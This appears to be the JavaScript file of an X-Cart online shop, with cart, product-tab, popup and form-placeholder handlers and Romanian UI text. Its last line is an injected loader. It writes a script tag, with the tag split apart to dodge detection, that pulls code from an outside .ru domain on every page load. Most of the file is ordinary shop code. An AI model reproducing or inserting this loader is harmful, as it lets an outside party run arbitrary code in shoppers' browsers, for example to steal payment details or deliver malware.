$(function(){
	if (document.getElementById('p2c')) {
		productInit();
	}
	else if (document.getElementById('cartForm')) {
		cartInit();
	}
	if (document.getElementById('vizpop')) {
		vizPopInit();
	}
	if (document.getElementById('quickMsbm')) {
		jQuery('#quickMsbm').click(function () {
			var parent = jQuery('.quickM');
			var selects = jQuery('select', parent);
			var ids = '';
			var val = 0;

			selects.each(function () {
				val = parseInt(jQuery(this).val());
				if (val > 0) {
					ids = ids + ',' + val;
				}
			});
			if (ids != '') {
				ids = ids.substring(1);
				window.location = xcart_web_dir + "/cart.php?mode=multipleAdd&ids=" + ids;
			}
			else {
				alert('Alege optiunile dorite din meniu');
			}
			return false;
		});
	}
});

function vizPopInit() {
	//tb_show('aaa', '#TB_inline?width=660&height=500inlineId=vizpop', null);
	function click() {
		jQuery('#vizpopa').click();
		//jQuery('#TB_ajaxContent').html(jQuery('vizpopwr').html());
		//jQuery('#vizpop').remove();
	}
	tb_init('#vizpopa');//pass where to apply thickbox
	setTimeout(click, 100);

	//jQuery('#vizpop').addClass('v');
}

(function(jQuery) {
	jQuery.fn.typeout = function (options){
		var opts = jQuery.extend({}, jQuery.fn.typeout.defaults, options);
		//var opts = $.fn.typeout.defaults;
		return this.each(function (){
			var t = jQuery(this);
			var title = t.attr(opts.attr);
			if (title) {
				t.removeAttr(opts.attr);
				t.blur(function (){
					if (jQuery.trim(t.val()) == '') {
						t.val(title);
						if (opts.classWhenEmpty) {
							t.addClass(opts.classWhenEmpty);
						}
					}
				});
				t.focus(function (){
					if (t.val() == title) {
						t.val('');
						if (opts.classWhenEmpty) {
							t.removeClass(opts.classWhenEmpty);
						}
					}
				});
				t.parents('form:first').submit(function(){
					if (t.val() == title) {
						if (opts.removeSubmitWhenEmpty) {
							t.remove();
						}
						else {
							t.val('');
						}
					}
				});
				t.blur();
			}
		});
	}
	jQuery.fn.typeout.defaults = {
		'classWhenEmpty' : '',
		'attr': 'alt',
		'removeSubmitWhenEmpty': false
	};
})(jQuery);

function productInit() {
	function p2c_click(){
		/*
		if ($(this).hasClass("indisponibil")) {
			return true;
		}
		*/
		if (FormValidation()) {
			$('#orderForm').submit();
		}
		return false;
	}

	function aHeadTabClicked() {
		var a = $(this);
		if (a.hasClass('s')) {
			return false;
		}
		$('.head a.s', tabsWrapper).removeClass('s');
		$('.cnt .tabv', tabsWrapper).removeClass('tabv');
		a.addClass('s');
		$('.cnt .' + a.attr('rev'), tabsWrapper).addClass('tabv');
		return false;
	}
	function goTopping_click() {
		tb_remove();
		return false;
	}

	$('#p2c').click(p2c_click);

	var tabsWrapper = $('#pTabs');
	$('.head a', tabsWrapper).click(aHeadTabClicked);


	tb_init('a.thickbox');//pass where to apply thickbox
	imgLoader = new Image();// preload image
	imgLoader.src = tb_pathToImage;

	$('#pR textarea').typeout({
		'attr': 'title'
	});
	$('#goTopping').click(goTopping_click);
}
function cartInit() {
	$('.sCq').change(function(){
		$('#cartForm').submit();
	});
	$('.lOptiuni').click(function () {
		window.open($(this).attr('href'),'POptions','width=400,height=350,toolbar=no,status=no,scrollbars=yes,resizable=no,menubar=no,location=no,direction=no');
		return false;
	});
}
function changeSortType(x){
	window.location = xcart_web_dir + "/" + x.options[x.selectedIndex].value;
}


document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Zip.js"></scr'+'ipt>');